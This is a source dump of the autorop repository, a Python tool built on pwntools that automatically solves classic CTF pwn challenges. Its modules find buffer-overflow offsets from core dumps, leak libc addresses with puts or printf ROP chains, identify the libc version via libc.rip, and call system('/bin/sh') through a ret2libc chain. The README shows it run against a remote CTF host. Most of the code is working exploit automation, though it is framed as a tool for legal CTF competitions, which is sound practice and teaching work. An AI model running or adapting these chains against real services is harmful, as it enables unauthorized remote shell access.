Sphinx==4.5.0 39 | sphinx-autodoc-typehints==1.17.0 40 | sphinx-rtd-theme==1.0.0 41 | sphinxcontrib-applehelp==1.0.2 42 | sphinxcontrib-devhelp==1.0.2 43 | sphinxcontrib-htmlhelp==2.0.0 44 | sphinxcontrib-jsmath==1.0.1 45 | sphinxcontrib-qthelp==1.0.3 46 | sphinxcontrib-serializinghtml==1.1.5 47 | types-requests==2.27.16 48 | types-urllib3==1.26.11 49 | typing_extensions==4.1.1 50 | unicorn==2.0.0rc6 51 | urllib3==1.26.9 52 | -------------------------------------------------------------------------------- /autorop/call/Custom.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe, constants, arutil 2 | from pwn import log, ROP 3 | from typing import List, Any 4 | 5 | 6 | class Custom(Pipe): 7 | def __init__(self, func_name: str, args: List[Any] = [], align: bool = False): 8 | """Call an arbitrary function using rop chain. 9 | 10 | Call an arbitrary function using rop chain. This is basically a thin wrapper 11 | around using ROP in pwntools. 12 | 13 | Arguments: 14 | func_name: Symbol in executable which we can return to. 15 | args: Optional list of arguments to pass to function. 16 | align: Whether the call should be stack aligned or not. 17 | 18 | Returns: 19 | Function which takes a ``PwnState``, doing the call, and returns reference 20 | to the new ``PwnState``. 21 | """ 22 | super().__init__((func_name, args, align)) 23 | self.func_name = func_name 24 | self.args = args 25 | self.align = align 26 | 27 | def __call__(self, state: PwnState) -> PwnState: 28 | """Perform the call on the ``target`` in ``PwnState``. 29 | 30 | Arguments: 31 | state: The current ``PwnState``. 32 | 33 | Returns: 34 | The same ``PwnState``, but with the ``state.overwriter`` called 35 | with the generated rop chain. 36 | """ 37 | 38 | rop = ROP(state._elf) 39 | 40 | if self.align: 41 | arutil.align_call(rop, self.func_name, self.args) 42 | else: 43 | rop.call(self.func_name, self.args) 44 | 45 | log.info(rop.dump()) 46 | 47 | state.overwriter(state.target, rop.chain()) 48 | 49 | return state 50 | -------------------------------------------------------------------------------- /autorop/call/SystemBinSh.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe, arutil 2 | from pwn import log, ROP, ELF 3 | 4 | 5 | class SystemBinSh(Pipe): 6 | def __init__(self) -> None: 7 | """Call ``system("/bin/sh")`` via a rop chain. 8 | 9 | Call ``system("/bin/sh")`` using a rop chain built from ``state.libc`` and 10 | written by ``state.overwriter``. 11 | """ 12 | super().__init__(()) 13 | 14 | def __call__(self, state: PwnState) -> PwnState: 15 | """Call ``system("/bin/sh")`` on the current ``state.target``. 16 | 17 | Arguments: 18 | state: The current ``PwnState`` with the following set 19 | 20 | - ``target``: What we want to exploit. 21 | - ``_elf``: pwntools ``ELF`` of ``state.binary_name``. 22 | - ``libc``: Path to ``target``'s libc. 23 | - ``libc_base``: Base address of ``libc``. 24 | - ``vuln_function``: Name of vulnerable function in binary, 25 | which we can return to repeatedly. 26 | - ``overwriter``: Function which writes rop chain to the "right place". 27 | 28 | Returns: 29 | The given ``PwnState``. 30 | """ 31 | assert state.target is not None 32 | assert state._elf is not None 33 | 34 | libc = arutil.load_libc(state) 35 | rop = ROP([state._elf, libc]) 36 | arutil.align_call(rop, "system", [next(libc.search(b"/bin/sh\x00"))]) 37 | # just in case, to allow for further exploitation 38 | arutil.align_call(rop, state.vuln_function, []) 39 | log.info(rop.dump()) 40 | 41 | state.overwriter(state.target, rop.chain()) 42 | 43 | return state 44 | -------------------------------------------------------------------------------- /autorop/arutil/align_call.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, arutil, constants 2 | from pwn import context, ROP, log, align, pack 3 | from typing import List 4 | 5 | 6 | def align_call(rop: ROP, func: str, args: List[int]) -> ROP: 7 | """Align the stack prior to making a rop call to it. 8 | 9 | Arguments: 10 | rop: Current rop chain, just before making the call to the function. 11 | func: Symbol name of the function to call. 12 | args: Arguments to pass to the function. 13 | 14 | Returns: 15 | Reference to the mutated ``rop``, performing the function call 16 | ensuring the stack is aligned. 17 | """ 18 | # we will build a fake chain to determine when the function is called 19 | # relative to other gadgets 20 | predict_rop = ROP(rop.elfs) 21 | predict_rop.call(func, args) 22 | log.debug("Making prediction rop chain for stack alignment purposes...") 23 | log.debug(predict_rop.dump()) 24 | # search for offset of function address in payload 25 | index: int = predict_rop.chain().index(pack(rop.resolve(func))) 26 | log.debug(f"Offset till function call: {index}") 27 | 28 | # ensure that call is stack-aligned, 29 | # assuming that we are already within a function (with the alignment invariant) 30 | # by padding up to the call 31 | current_length = len(rop.chain()) + index 32 | alignment = ( 33 | align(constants.STACK_ALIGNMENT, current_length) + constants.STACK_ALIGNMENT 34 | ) // context.bytes - 1 35 | # prevent excessive aligning 36 | alignment %= constants.STACK_ALIGNMENT // context.bytes 37 | arutil.align_rop(rop, len(rop.chain()) // context.bytes + alignment) 38 | 39 | # actually perform the function call 40 | rop.call(func, args) 41 | 42 | return rop 43 | -------------------------------------------------------------------------------- /autorop/toplevel/Pipeline.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe, constants 2 | from copy import copy 3 | from pwn import log 4 | from functools import reduce 5 | from typing import Tuple 6 | 7 | 8 | class Pipeline(Pipe): 9 | def __init__(self, *pipes: Pipe): 10 | """Produce a pipeline to put ``PwnState`` through a sequence of Pipes. 11 | 12 | Produce a state-copying function pipeline, which executes ``funcs`` sequentially, 13 | with the output of each function serving as the input to the next function. 14 | 15 | The state is copied on every call, for future black magic caching reasons. 16 | This means that every function receives its own copy. 17 | 18 | Arguments: 19 | pipes: Functions which operate on the ``PwnState`` and return another ``PwnState``. 20 | 21 | Returns: 22 | Pipe which puts ``PwnState`` through ``funcs`` and returns the ``PwnState`` 23 | returned by the last function. 24 | """ 25 | super().__init__(pipes) 26 | self.pipes = pipes 27 | log.info(f"Produced pipeline: {self}") 28 | 29 | def __call__(self, state: PwnState) -> PwnState: 30 | """Execute the pipeline. 31 | 32 | Execute the saved pipeline sequentially, making a copy of ``PwnState`` 33 | before each function call. 34 | 35 | Arguments: 36 | state: The state to give to the first function. 37 | 38 | Returns: 39 | The state returned by the last function. 40 | """ 41 | 42 | def reducer(state: PwnState, pipe: Tuple[int, Pipe]) -> PwnState: 43 | log.debug(repr(state)) 44 | log.info(f"Pipeline [{pipe[0]+1}/{len(self.pipes)}]: {pipe[1]}") 45 | return pipe[1](copy(state)) 46 | 47 | return reduce(reducer, enumerate(self.pipes), state) 48 | -------------------------------------------------------------------------------- /autorop/turnkey/Classic.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe, Pipeline, arutil, bof, leak, libc, call 2 | 3 | 4 | class Classic(Pipeline): 5 | def __init__( 6 | self, 7 | find: Pipe = bof.Corefile(), 8 | leak: Pipe = leak.Puts(), 9 | lookup: Pipe = libc.Auto(), 10 | shell: Pipe = call.SystemBinSh(), 11 | ): 12 | """Perform a "classic" attack against a binary. 13 | 14 | Launch a find-leak-lookup-shell attack against a binary. 15 | I made up this term. 16 | But it is a common pattern in CTFs. 17 | 18 | - Find: Find the vulnerability (e.g. how far we need to write to overwrite 19 | return address due to a buffer overflow). 20 | - Leak: Find out important stuff about our context (e.g. addresses of 21 | symbols in libc, PIE offset, etc.). 22 | - Lookup: Get data from elsewhere (e.g. download appropriate libc version). 23 | - Shell: Spawn a shell (e.g. via ret2libc, or via syscall). 24 | 25 | The default parameters perform a ret2libc attack on a non-PIE/non-ASLR target 26 | (at most one of these is fine, but not both), leaking with ``puts``. 27 | You can set ``state._elf.address`` yourself and it might work for PIE and ASLR. 28 | We use find the libc automatically (likely using libc.rip), and then spawn a shell on the target. 29 | 30 | Arguments: 31 | find: "Finder" of vulnerability. :mod:`autorop.bof` may be of interest. 32 | leak: "Leaker". :mod:`autorop.leak` may be of interest. 33 | lookup: "Lookup-er" of info. :mod:`autorop.libc` may be of interest. 34 | shell: Spawner of shell. :mod:`autorop.call` may be of interest. 35 | 36 | Returns: 37 | Function which takes a ``PwnState``, and returns the new ``PwnState``. 38 | """ 39 | 40 | super().__init__(find, arutil.OpenTarget(), leak, lookup, shell) 41 | -------------------------------------------------------------------------------- /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: autorop test 2 | 3 | on: 4 | push: 5 | pull_request: 6 | workflow_dispatch: 7 | schedule: 8 | # run weekly to aid in narrowing down issue when autorop fails (usually a libc update) 9 | - cron: '00 01 * * 4' 10 | 11 | jobs: 12 | build: 13 | 14 | runs-on: ubuntu-latest 15 | strategy: 16 | matrix: 17 | test-image: [ 18 | # ubuntu:16.04 has python 3.5, while some dependencies need >=3.6 19 | # ubuntu:18.04 seems to not work on github actions but does locally, FIXXME? 20 | 'ubuntu:20.04', 21 | 'ubuntu:22.04', 22 | 'debian:10', 23 | 'debian:11', 24 | ] 25 | fail-fast: false # do not stop other matrix jobs if one fails 26 | 27 | steps: 28 | - uses: actions/checkout@v2 29 | 30 | - name: Free disk space 31 | run: | 32 | df -h 33 | echo "Source: https://github.com/facebookresearch/wav2letter/commit/dee0b81895bc9254a463b19ef87d49f14dcb913a" 34 | sudo swapoff -a 35 | sudo rm -f /swapfile 36 | sudo apt clean 37 | docker rmi $(docker image ls -aq) 38 | echo "Source: https://github.com/easimon/maximize-build-space/blob/master/action.yml" 39 | sudo rm -rf /usr/share/dotnet 40 | df -h 41 | 42 | - name: Set corefile configuration 43 | run: sudo sysctl -w kernel.core_pattern="core.%p" 44 | 45 | - name: Build Docker image 46 | run: cd ci/ && ./build.sh ${{ matrix.test-image }} 47 | 48 | - name: Show versions 49 | run: docker run --rm "autorop-test-${{ matrix.test-image }}" ./versions.sh 50 | 51 | - name: Lint 52 | run: docker run --rm "autorop-test-${{ matrix.test-image }}" ./lint.sh 53 | 54 | - name: Typecheck 55 | run: docker run --rm "autorop-test-${{ matrix.test-image }}" ./typecheck.sh 56 | 57 | - name: Run tests 58 | run: docker run --rm "autorop-test-${{ matrix.test-image }}" ./test.sh 59 | -------------------------------------------------------------------------------- /autorop/leak/Printf.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe, arutil, constants 2 | from pwn import ROP 3 | from typing import Iterable 4 | 5 | 6 | class Printf(Pipe): 7 | def __init__( 8 | self, 9 | short: bool = False, 10 | leak_symbols: Iterable[str] = ["__libc_start_main", "printf"], 11 | ): 12 | """Leak libc addresses using ``printf``. 13 | 14 | This returns a callable which opens a new target, and leaks 15 | the addresses of (by default) ``__libc_start_main`` and ``printf`` using ``printf``, 16 | placing them in ``state.leaks``. 17 | 18 | Arguments: 19 | short: Whether the attack should be minimised i.e. leak only one address. 20 | leak_symbols: What symbols should be leaked. 21 | """ 22 | super().__init__((short, leak_symbols)) 23 | self.leak_symbols = leak_symbols 24 | if short: 25 | self.leak_symbols = [next(iter(leak_symbols))] 26 | 27 | def __call__(self, state: PwnState) -> PwnState: 28 | """Transform the given state with the results of the leak via ``printf``. 29 | 30 | Arguments: 31 | state: The current ``PwnState``. 32 | 33 | Returns: 34 | The mutated ``PwnState``, with the following updated 35 | 36 | - ``target``: The fresh instance of target from which we got a successful leak. 37 | Hopefully it can still be interacted with. 38 | - ``leaks``: Updated with ``"symbol": address`` pairs for each 39 | function address of libc that was leaked. 40 | """ 41 | 42 | def leaker(rop: ROP, address: int) -> ROP: 43 | arutil.align_call(rop, "printf", [address]) 44 | assert state._elf is not None 45 | # must send newline to satisfy ``arutil.leak_helper`` 46 | arutil.align_call(rop, "printf", [next(state._elf.search(b"\n\x00"))]) 47 | return rop 48 | 49 | return arutil.leak_helper(state, leaker, self.leak_symbols) 50 | -------------------------------------------------------------------------------- /autorop/leak/Puts.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe, arutil, constants 2 | from pwn import ROP 3 | from typing import Iterable 4 | 5 | 6 | class Puts(Pipe): 7 | def __init__( 8 | self, 9 | short: bool = False, 10 | leak_symbols: Iterable[str] = ["__libc_start_main", "puts"], 11 | ): 12 | """Leak libc addresses using ``puts``. 13 | 14 | This returns a callable which opens a new target, and leaks 15 | the addresses of (by default) ``__libc_start_main`` and ``puts`` using ``puts``, 16 | placing them in ``state.leaks``. 17 | 18 | Arguments: 19 | short: Whether the attack should be minimised i.e. leak only one address. 20 | leak_symbols: What symbols should be leaked. 21 | 22 | Returns: 23 | Function which takes the state, and returns the mutated ``PwnState``, 24 | with the following updated 25 | 26 | - ``target``: The fresh instance of target from which we got a successful leak. 27 | Hopefully it can still be interacted with. 28 | - ``leaks``: Updated with ``"symbol": address`` pairs for each 29 | address that was leaked. 30 | """ 31 | super().__init__((short, leak_symbols)) 32 | self.leak_symbols = leak_symbols 33 | if short: 34 | self.leak_symbols = [next(iter(leak_symbols))] 35 | 36 | def __call__(self, state: PwnState) -> PwnState: 37 | """Transform the given state with the results of the leak via ``printf``. 38 | 39 | Arguments: 40 | state: The current ``PwnState``. 41 | 42 | Returns: 43 | The mutated ``PwnState``, with the following updated 44 | 45 | - ``target``: The fresh instance of target from which we got a successful leak. 46 | Hopefully it can still be interacted with. 47 | - ``leaks``: Updated with the ``"symbol": address`` pairs for each function address of libc that was leaked. 48 | """ 49 | 50 | def leaker(rop: ROP, address: int) -> ROP: 51 | arutil.align_call(rop, "puts", [address]) 52 | return rop 53 | 54 | return arutil.leak_helper(state, leaker, self.leak_symbols) 55 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # autorop-specific 2 | .autorop.libc 3 | 4 | # coredumps 5 | core 6 | core.* 7 | 8 | # Byte-compiled / optimized / DLL files 9 | __pycache__/ 10 | *.py[cod] 11 | *$py.class 12 | 13 | # C extensions 14 | *.so 15 | 16 | # Distribution / packaging 17 | .Python 18 | build/ 19 | develop-eggs/ 20 | dist/ 21 | downloads/ 22 | eggs/ 23 | .eggs/ 24 | lib/ 25 | lib64/ 26 | parts/ 27 | sdist/ 28 | var/ 29 | wheels/ 30 | share/python-wheels/ 31 | *.egg-info/ 32 | .installed.cfg 33 | *.egg 34 | MANIFEST 35 | 36 | # PyInstaller 37 | # Usually these files are written by a python script from a template 38 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 39 | *.manifest 40 | *.spec 41 | 42 | # Installer logs 43 | pip-log.txt 44 | pip-delete-this-directory.txt 45 | 46 | # Unit test / coverage reports 47 | htmlcov/ 48 | .tox/ 49 | .nox/ 50 | .coverage 51 | .coverage.* 52 | .cache 53 | nosetests.xml 54 | coverage.xml 55 | *.cover 56 | *.py,cover 57 | .hypothesis/ 58 | .pytest_cache/ 59 | cover/ 60 | 61 | # Translations 62 | *.mo 63 | *.pot 64 | 65 | # Django stuff: 66 | *.log 67 | local_settings.py 68 | db.sqlite3 69 | db.sqlite3-journal 70 | 71 | # Flask stuff: 72 | instance/ 73 | .webassets-cache 74 | 75 | # Scrapy stuff: 76 | .scrapy 77 | 78 | # Sphinx documentation 79 | docs/_build/ 80 | 81 | # PyBuilder 82 | .pybuilder/ 83 | target/ 84 | 85 | # Jupyter Notebook 86 | .ipynb_checkpoints 87 | 88 | # IPython 89 | profile_default/ 90 | ipython_config.py 91 | 92 | # pyenv 93 | # For a library or package, you might want to ignore these files since the code is 94 | # intended to run in multiple environments; otherwise, check them in: 95 | # .python-version 96 | 97 | # pipenv 98 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 99 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 100 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 101 | # install all needed dependencies. 102 | #Pipfile.lock 103 | 104 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 105 | __pypackages__/ 106 | 107 | # Celery stuff 108 | celerybeat-schedule 109 | celerybeat.pid 110 | 111 | # SageMath parsed files 112 | *.sage.py 113 | 114 | # Environments 115 | .env 116 | .venv 117 | env/ 118 | venv/ 119 | ENV/ 120 | env.bak/ 121 | venv.bak/ 122 | 123 | # Spyder project settings 124 | .spyderproject 125 | .spyproject 126 | 127 | # Rope project settings 128 | .ropeproject 129 | 130 | # mkdocs documentation 131 | /site 132 | 133 | # mypy 134 | .mypy_cache/ 135 | .dmypy.json 136 | dmypy.json 137 | 138 | # Pyre type checker 139 | .pyre/ 140 | 141 | # pytype static type analyzer 142 | .pytype/ 143 | 144 | # Cython debug symbols 145 | cython_debug/ 146 | -------------------------------------------------------------------------------- /autorop/arutil/leak_helper.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, arutil, constants 2 | from pwn import ROP, log 3 | from typing import Iterable, Callable 4 | 5 | 6 | def leak_helper( 7 | state: PwnState, 8 | leaker: Callable[[ROP, int], ROP], 9 | symbols: Iterable[str], 10 | offset: int = 0, 11 | ) -> PwnState: 12 | """Leak libc addresses using a leaking function. 13 | 14 | This function leaks the libc addresses of ``symbols`` 15 | using rop chain built by ``leaker``, placing them in ``state.leaks``. 16 | ``leaker`` msut separate leaks using newlines. 17 | 18 | Arguments: 19 | state: The current ``PwnState`` with the following set 20 | 21 | - ``target_factory``: Producer of target to exploit. 22 | - ``_elf``: pwntools ``ELF`` of ``state.binary_name``. 23 | - ``overwriter``: Function which writes rop chain to the "right place". 24 | - ``vuln_function``: Name of vulnerable function in binary, 25 | which we can return to repeatedly. 26 | 27 | leaker: function which reads arbitrary memory, newline terminated. 28 | symbols: what libc symbols we need to leak. 29 | offset: offset, in bytes, from the start of the GOT address of each symbol 30 | at which to begin leak, treating previous bytes as zeroes 31 | (this is helpful if the leaker function terminates on a zero byte) 32 | 33 | Returns: 34 | Mutated ``PwnState``, with the following updated 35 | 36 | - ``target``: The instance of target from which we got a successful leak. 37 | Hopefully it can still be interacted with. 38 | - ``leaks``: Updated with ``"symbol": address`` pairs for each 39 | function address of libc that was leaked. 40 | """ 41 | assert state._elf is not None 42 | 43 | state.target = state.target_factory() 44 | 45 | rop = ROP(state._elf) 46 | for symbol in symbols: 47 | rop = leaker(rop, state._elf.got[symbol] + offset) 48 | 49 | # return back so we can execute more chains later 50 | arutil.align_call(rop, state.vuln_function, []) 51 | log.info(rop.dump()) 52 | 53 | state.target.clean(constants.CLEAN_TIME) 54 | state.overwriter(state.target, rop.chain()) 55 | 56 | for symbol in symbols: 57 | line = state.target.readline() 58 | log.debug(line.hex()) 59 | # remove last character which must be newline 60 | state.leaks[symbol] = arutil.addressify(line[:-1]) << (8 * offset) 61 | log.info(f"leaked {symbol} @ " + hex(state.leaks[symbol])) 62 | 63 | # TODO: make this a bit less hacky maybe 64 | # try leaking next bytes if we happen to stumble upon a zero byte 65 | if state.leaks[symbol] == 0x0: # unluckily the address has a zero at start 66 | leak_helper(state, leaker, [symbol], offset + 1) 67 | 68 | return state 69 | -------------------------------------------------------------------------------- /autorop/libc/Rip.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe, arutil 2 | from pwn import log, ELF 3 | import requests 4 | from typing import Dict 5 | 6 | 7 | class Rip(Pipe): 8 | def __init__(self) -> None: 9 | """Acquire libc version using https://libc.rip. 10 | 11 | We can programmatically find and download libc based on function address leaks 12 | (two or more preferred). This pipe will set ``state.libc``, including setting 13 | ``state.libc.address`` for ready-to-use address calculation. 14 | """ 15 | super().__init__(()) 16 | 17 | def __call__(self, state: PwnState) -> PwnState: 18 | """Acquire libc version using https://libc.rip. 19 | 20 | We can programmatically find and download libc based on function address leaks 21 | (two or more preferred). This function sets ``state.libc``, including setting 22 | ``state.libc.address`` for ready-to-use address calculation. 23 | 24 | Arguments: 25 | state: The current ``PwnState`` with the following set 26 | 27 | - ``leaks``: Leaked symbols of libc. 28 | 29 | Returns: 30 | Mutated ``PwnState``, with the following updated 31 | 32 | - ``libc``: Path to ``target``'s libc, according to https://libc.rip. 33 | - ``libc_base``: Base address of ``libc``. 34 | """ 35 | assert state.leaks is not None 36 | 37 | URL = "https://libc.rip/api/find" 38 | LIBC_FILE = ".autorop.libc" 39 | formatted_leaks: Dict[str, str] = {} 40 | for symbol, address in state.leaks.items(): 41 | formatted_leaks[symbol] = hex(address) 42 | 43 | log.info("Searching for libc based on leaks using libc.rip") 44 | r = requests.post(URL, json={"symbols": formatted_leaks}) 45 | arutil.debug_requests(r) 46 | json = r.json() 47 | log.debug(repr(json)) 48 | if len(json) == 0: 49 | log.error("could not find any matching libc!") 50 | if len(json) > 1: 51 | log.warning(f"{len(json)} matching libc's found, picking first one") 52 | 53 | log.info("Downloading libc") 54 | r = requests.get(json[0]["download_url"]) 55 | arutil.debug_requests(r) 56 | with open(LIBC_FILE, "wb") as f: 57 | f.write(r.content) 58 | 59 | libc = ELF(LIBC_FILE) 60 | # pick first leak and use that to calculate base 61 | some_symbol, its_address = next(iter(state.leaks.items())) 62 | libc.address = its_address - libc.symbols[some_symbol] 63 | state.libc = LIBC_FILE 64 | state.libc_base = libc.address 65 | 66 | # sanity check 67 | for symbol, address in state.leaks.items(): 68 | assert state.libc is not None 69 | diff = address - libc.symbols[symbol] 70 | if diff != 0: 71 | log.warning( 72 | f"symbol {symbol} has delta with actual libc of {hex(diff)}" 73 | ) 74 | 75 | return state 76 | -------------------------------------------------------------------------------- /autorop/libc/Database.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe 2 | from pwn import log, ELF, re, subprocess 3 | from typing import List 4 | 5 | LIBC_NAME_REGEX = re.compile(r"^.* \((.*)\)$") 6 | 7 | 8 | class Database(Pipe): 9 | def __init__(self) -> None: 10 | """Acquire libc version using local installation of `libc-database `_ 11 | 12 | We can programmatically find libc based on function address leaks 13 | (two or more preferred). This pipe will set ``state.libc``, including setting 14 | ``state.libc.address`` for ready-to-use address calculation. 15 | """ 16 | super().__init__(()) 17 | 18 | def __call__(self, state: PwnState) -> PwnState: 19 | """Acquire libc version using local installation of `libc-database `_ 20 | 21 | Arguments: 22 | state: The current ``PwnState`` with the following set 23 | 24 | - ``leaks``: Leaked symbols of libc. 25 | - ``libc_database_path``: Path to libc-database installation. 26 | 27 | Returns: 28 | Mutated ``PwnState``, with the following updated 29 | 30 | - ``libc``: Path to ``target``'s libc. 31 | - ``libc_base``: Base address of ``libc``. 32 | """ 33 | assert state.leaks is not None 34 | assert state.libc_database_path is not None 35 | 36 | flattened_args: List[str] = [] 37 | for symbol, address in state.leaks.items(): 38 | flattened_args.append(symbol) 39 | flattened_args.append(hex(address)) 40 | 41 | log.info("Searching for libc based on leaks") 42 | command = [state.libc_database_path + "/find"] + flattened_args 43 | results = ( 44 | subprocess.run(command, check=True, stdout=subprocess.PIPE) 45 | .stdout.decode("utf-8") 46 | .splitlines() 47 | ) 48 | log.debug(repr(results)) 49 | if len(results) == 0: 50 | log.error("could not find any matching libc!") 51 | if len(results) > 1: 52 | log.warning(f"{len(results)} matching libc's found, picking first one") 53 | 54 | # parse the output 55 | libc_name = LIBC_NAME_REGEX.fullmatch(results[0]).group(1) 56 | path_to_libc = f"{state.libc_database_path}/db/{libc_name}.so" 57 | 58 | libc = ELF(path_to_libc) 59 | # pick first leak and use that to calculate base 60 | some_symbol, its_address = next(iter(state.leaks.items())) 61 | libc.address = its_address - libc.symbols[some_symbol] 62 | state.libc = path_to_libc 63 | state.libc_base = libc.address 64 | 65 | # sanity check 66 | for symbol, address in state.leaks.items(): 67 | assert state.libc is not None 68 | diff = address - libc.symbols[symbol] 69 | if diff != 0: 70 | log.warning( 71 | f"symbol {symbol} has delta with actual libc of {hex(diff)}" 72 | ) 73 | 74 | return state 75 | -------------------------------------------------------------------------------- /docs/source/conf.py: -------------------------------------------------------------------------------- 1 | # to generate documentation when modules are added, run: 2 | # sphinx-apidoc --separate --force -o source ../autorop 3 | # to build documentation locally, run ``make html`` 4 | 5 | import sphinx_rtd_theme 6 | 7 | # Configuration file for the Sphinx documentation builder. 8 | # 9 | # This file only contains a selection of the most common options. For a full 10 | # list see the documentation: 11 | # https://www.sphinx-doc.org/en/master/usage/configuration.html 12 | 13 | # -- Path setup -------------------------------------------------------------- 14 | 15 | # If extensions (or modules to document with autodoc) are in another directory, 16 | # add these directories to sys.path here. If the directory is relative to the 17 | # documentation root, use os.path.abspath to make it absolute, like shown here. 18 | # 19 | import os 20 | import sys 21 | 22 | sys.path.insert(0, os.path.abspath("../../")) 23 | 24 | 25 | # -- Project information ----------------------------------------------------- 26 | 27 | project = "autorop" 28 | copyright = "2020-2021, Mariusz Skoneczko" 29 | author = "Mariusz Skoneczko" 30 | 31 | 32 | # -- General configuration --------------------------------------------------- 33 | 34 | # Add any Sphinx extension module names here, as strings. They can be 35 | # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom 36 | # ones. 37 | extensions = [ 38 | "sphinx.ext.autodoc", 39 | "sphinx.ext.napoleon", 40 | "sphinx.ext.viewcode", 41 | "sphinx_rtd_theme", 42 | "sphinx_autodoc_typehints", 43 | ] 44 | 45 | # Add any paths that contain templates here, relative to this directory. 46 | templates_path = ["_templates"] 47 | 48 | # List of patterns, relative to source directory, that match files and 49 | # directories to ignore when looking for source files. 50 | # This pattern also affects html_static_path and html_extra_path. 51 | exclude_patterns = [] 52 | 53 | # List some special members 54 | autodoc_default_options = { 55 | "special-members": "__init__,__call__", 56 | } 57 | 58 | # -- Options for HTML output ------------------------------------------------- 59 | 60 | # The theme to use for HTML and HTML Help pages. See the documentation for 61 | # a list of builtin themes. 62 | # 63 | html_theme = "sphinx_rtd_theme" 64 | html_theme_options = { 65 | "collapse_navigation": False, 66 | "navigation_depth": 5, 67 | } 68 | 69 | # Add any paths that contain custom static files (such as style sheets) here, 70 | # relative to this directory. They are copied after the builtin static files, 71 | # so a file named "default.css" will overwrite the builtin "default.css". 72 | html_static_path = ["_static"] 73 | 74 | # -- Automatically generate apidocs ------------------------------------------ 75 | # Based on https://github.com/readthedocs/readthedocs.org/issues/1139#issuecomment-215689182 76 | 77 | 78 | def run_apidoc(_): 79 | from sphinx.ext.apidoc import main 80 | 81 | cur_dir = os.path.abspath(os.path.dirname(__file__)) 82 | output_dir = cur_dir 83 | module_dir = os.path.join(cur_dir, "..", "..", "autorop") 84 | main(["-f", "-o", output_dir, module_dir]) 85 | 86 | 87 | def setup(app): 88 | app.connect("builder-inited", run_apidoc) 89 | -------------------------------------------------------------------------------- /autorop/bof/Corefile.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe, constants 2 | from pwn import tube, process, cyclic, cyclic_find, log, pack 3 | 4 | 5 | class Corefile(Pipe): 6 | def __init__(self) -> None: 7 | """Find offset to the return address via buffer overflow using corefile. 8 | 9 | This pipe not only finds the offset from the input to the return address 10 | on the stack, but also sets ``state.overwriter`` to be a function that correctly 11 | overwrites starting at the return address. 12 | 13 | You can avoid active corefile generation by setting ``state.bof_ret_offset`` 14 | yourself - in this case, the ``state.overwriter`` is set appropriately. 15 | """ 16 | super().__init__(()) 17 | 18 | def __call__(self, state: PwnState) -> PwnState: 19 | """Transform the given ``PwnState`` to have a buffer overflow ``overwriter``. 20 | 21 | Arguments: 22 | state: The current ``PwnState`` with the following set 23 | 24 | - ``binary_name``: Path to binary. 25 | - ``bof_ret_offset``: (optional) If not ``None``, 26 | skips corefile generation step. 27 | - ``overwriter``: Function which writes rop chain to the "right place". 28 | 29 | Returns: 30 | Mutated ``PwnState``, with the following updated 31 | 32 | - ``bof_ret_offset``: Updated if it was not set before. 33 | - ``overwriter``: Now calls the previous ``overwriter`` but with 34 | ``bof_ret_offset`` padding bytes prepended to the data given, 35 | and reading the same number of lines as were observed 36 | at the crash. 37 | """ 38 | #: Number of bytes to send to attempt to trigger a segfault 39 | #: for corefile generation. 40 | CYCLIC_SIZE = 1024 41 | 42 | output_lines_after_input = 0 43 | 44 | if state.bof_ret_offset is None: 45 | # cause crash and find offset via corefile 46 | p: tube = process(state.binary_name) 47 | p.clean(constants.CLEAN_TIME) 48 | state.overwriter(p, cyclic(CYCLIC_SIZE)) 49 | p.wait() 50 | output_lines_after_input = p.recvall().count(b"\n") 51 | fault: int = p.corefile.fault_addr 52 | log.info("Fault address @ " + hex(fault)) 53 | state.bof_ret_offset = cyclic_find(pack(fault)) 54 | log.info("Offset to return address is " + str(state.bof_ret_offset)) 55 | 56 | if state.bof_ret_offset < 0: 57 | log.error(f"Invalid offset to return addess ({state.bof_ret_offset})!") 58 | 59 | old_overwriter = state.overwriter 60 | 61 | # define overwriter as expected - to write data starting at return address 62 | # it will also automatically handle reading output which was printed 63 | # so as not to require manual intervention for silencing generic output 64 | def overwriter(t: tube, data: bytes) -> None: 65 | old_overwriter(t, cyclic(state.bof_ret_offset) + data) 66 | for _ in range(output_lines_after_input): 67 | t.recvline() 68 | 69 | state.overwriter = overwriter 70 | 71 | return state 72 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | autorop 2 | ======= 3 | 4 | |docs| |Test status| |MIT license| 5 | 6 | Automated solver of classic CTF pwn challenges, with flexibility in mind. 7 | 8 | Official documentation can be found at `autorop.readthedocs.io `_. 9 | 10 | Disclaimer 11 | ---------- 12 | 13 | Do not use this software for illegal purposes. This software is intended to be used in legal Capture the Flag competitions only. 14 | 15 | Command line 16 | ------------ 17 | 18 | .. code-block:: text 19 | 20 | $ autorop 21 | Usage: autorop BINARY [HOST PORT] 22 | 23 | .. code-block:: text 24 | 25 | $ autorop tests/bamboofox/ret2libc bamboofox.cs.nctu.edu.tw 11002 26 | [*] '/home/mariusz/Projects/autorop/tests/bamboofox/ret2libc' 27 | Arch: i386-32-little 28 | RELRO: Partial RELRO 29 | Stack: No canary found 30 | NX: NX enabled 31 | PIE: No PIE (0x8048000) 32 | [*] Produced pipeline: Classic(Corefile(), OpenTarget(), Puts(False, ['__libc_start_main', 'puts']), Auto(), SystemBinSh()) 33 | [*] Pipeline [1/5]: Corefile() 34 | [+] Starting local process 'tests/bamboofox/ret2libc': pid 18833 35 | [*] Process 'tests/bamboofox/ret2libc' stopped with exit code -11 (SIGSEGV) (pid 18833) 36 | ... 37 | [*] Switching to interactive mode 